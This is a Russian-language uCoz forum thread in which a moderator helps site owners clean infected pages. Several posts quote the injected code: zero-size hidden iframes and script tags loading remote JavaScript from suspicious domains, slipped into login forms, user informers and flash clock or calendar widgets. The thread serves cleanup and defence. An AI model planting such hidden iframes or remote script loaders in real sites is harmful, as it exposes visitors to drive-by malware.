Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Вирусы на сайтах_2
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 16 | 01:43:50
ADIK3208, из формы входа выделенное красным удалить
Quote
<DIV class=uLogField id=ulf2><INPUT class=log2 style="WIDTH: 100px" type=password maxLength=15 name=password></DIV></DL>
<DL class=uLogBlock>
<DIV class=uLogRem>
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru"></iframe><INPUT id=remcategory type=checkb


так же медиаундер и бодиклик с тизерми не то что нужно на сайте в виде рекламы. грязь сплошная грязь

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
laiti
Сообщений: 3
Репутация: 4

Сообщение # 17 | 07:11:07
Добрый день, подскажите пожалуйста, как поступить

1)на какой странице сайта обнаруживается проблема (ссылка)

форум http://lai.ucoz.ru/
сегодня зайдя на форум получила табличку антивир-а (Symantec)

system infected sid 24145 malicious trojan request 2

"пробило" похоже всю систему антивир "предупреждает" но не справляется...
комп я долечу, но на форум теперь идти страшно))
просмотрела код шаблона форума- сторонних "обычных вредных" скриптов не нашла...
а больше не знаю что искать((

2) проблема обнаруживается только под логином или под гостем тоже
антивир реагирует и под логином и под гостем
эксплор. и мазилла
др. окон в момент среагирования включено не было.

спасибо

z
Joker_okda
Сообщений: 15
Репутация: 3

Сообщение # 18 | 17:32:58
1)на какой странице сайта обнаруживается проблема (ссылка) http://forza-cheaters.clan.su/
2) проблема обнаруживается только под логином или под гостем тоже : webanet, ...Ты знаешь что делать
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 19 | 17:39:52
Joker_okda, из информера пользователей выделенное красным удалить
Quote
Новых сегодня: <BR><SPAN style="FONT-FAMILY: Comic Sans MS"><SPAN style="COLOR: #ffa500"><STRONG> »</STRONG></SPAN><STRONG><SPAN style="COLOR: #ffa500"> </SPAN></STRONG></SPAN><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script><STRONG>Из них<


из кода флеш часов выделенное красным удалить
Quote
<embed src=http://flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-183.swf width=200 height=200 wmode=transparent type=application/x-shockwave-flash><script type="text/javascript" src="http://r1p.pp.ua/1.js"></script></embed><param name="movie" value="flash-clocks.com/free-flash-clocks-blog-topics/free-flash-clock-183.swf" type"/><param name="wmode" val


из кода календаря выделенное красным удалить

Quote
<embed base="http://wallaby.ucoz.ru/clock/" allowscriptaccess="always" src="http://wallaby.ucoz.ru/clock/calendar.swf" quality="high" scale="noscale" bgcolor="#000000" type="application/x-shockwave-flash" flashvars="xml/events.xml&stylesUrl=xml/styles3b.xml" pluginspage="http://www.macromedia.com/go/getflashplayer" height="191" width="175"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><!-- </bc> --></div></td></tr></table>
<!-- </block3663> -->
<!--/U1DRIGHTER1Z-->


и если вы ничего не понимаете в скриптах в хтмл, то вам стоит воздержаться от собирания всяких украшений на сайт и пользоваться стандартным шаблоном.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 20 | 17:41:13
laiti, под гостем у вас чисто, кроме армады баннеров
попробуйте зайти ещё раз на форум и если будет аллерт, то предоставьте полный текст блокировки симантека

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Gressy
Сообщений: 5
Репутация: 0

Сообщение # 21 | 21:16:15
Здравствуйте! Я обращаюсь с сайта http://sserkov-lm.ucoz.ru/
Постоянные пользователи пишут,что на сайте есть вирус или вредоносный код.Я проверила,вредоносный код есть на главной странице и на всех остальных страницах,кроме форума и гостевой.Помогите,пожалуйста,его отыскать.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 22 | 22:02:16
Gressy,
Quote
Я проверила,вредоносный код есть на главной странице
как проверила? и какой именно код?
и самый главный вопрос под логином вредоносный код виден или под гостем тоже?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Gressy
Сообщений: 5
Репутация: 0

Сообщение # 23 | 22:12:48
проверила с помощью вот этого сайта http://2ip.ru/site-virus-scaner/
Там пишут: "На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код."

Под логином люди не могут войти на сайт.Гости пока не жаловались.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 24 | 22:42:46
Gressy, я прекрасно залогинилась к вам на сайт. вирусов не вижу
Quote
с помощью вот этого сайта
если совсем не понимаете как работают сервисы, то лучше ими не пользоваться совсем. этот дубо-сервис реагирует на все подряд. в данном случае он реагирует на мини-чат. мини-чат вставлен на сайт ифреймом. он безопасен.
а ваши пользователи у которых проблемы пусть четко и ясно опишут их. и особенно про вирусы. с чего они взяли, что на сайте вирусы? у них среагировал антивирус? тогда пусть дадут полный текст аллерта

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KENT5986
Сообщений: 21
Репутация: 0

Сообщение # 25 | 22:45:32
Здравствуйте,я с сайта http://fifa-best.ru/
У меня на сайте есть вирус,пользователи жалуются,я проверял сайт на http://2ip.ru/site-virus-scaner/, после того как я проверил там пишет,На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код.Помогите пожалуйста найти этот вирус.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 26 | 22:52:06
KENT5986, из информера пользователей выделенное красным удалить
Quote
Пользователей: <b>0</b></div></P><P align="left"></P><HR><DIV align="center"><SPAN style="font-size: 10pt"><iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><SPAN style="font-size: 10pt; color: #ff0000"><SPAN style="font-size: 10pt; color: #ff0000"

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Gressy
Сообщений: 5
Репутация: 0

Сообщение # 27 | 23:00:55
webanet,спасибо большое! Буду узнавать подробности у посетителей.
KENT5986
Сообщений: 21
Репутация: 0

Сообщение # 28 | 23:10:10
webanet,я удалил то что красным было выделенно но всервнно все также,вот один из пользователей моего сайта пытался войти на сайт но там всплывает это: http://linkme.ufanet.ru/images/0b21e7ae8f1e95249e1d4b6917fc5cf7.png что можно зделать?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 29 | 23:31:39
KENT5986, это ваш старый домен гугл держит в черном списке. а реагирует потому что старый адрес у вас в счетчике юкоза фигурирует
ваш старый домен заблочен. стоит отдать сайт на пересмотр гуглу. видать грязь висела у вас очень долго, раз гугл так расправился

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
roman911
Сообщений: 38
Репутация: 1

Сообщение # 30 | 11:22:02
Сайт http://nezhyn.at.ua/ ЯША пометил как содержащий вредоносный код. Подскажите, пожалуйста в чём проблема?

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Поиск: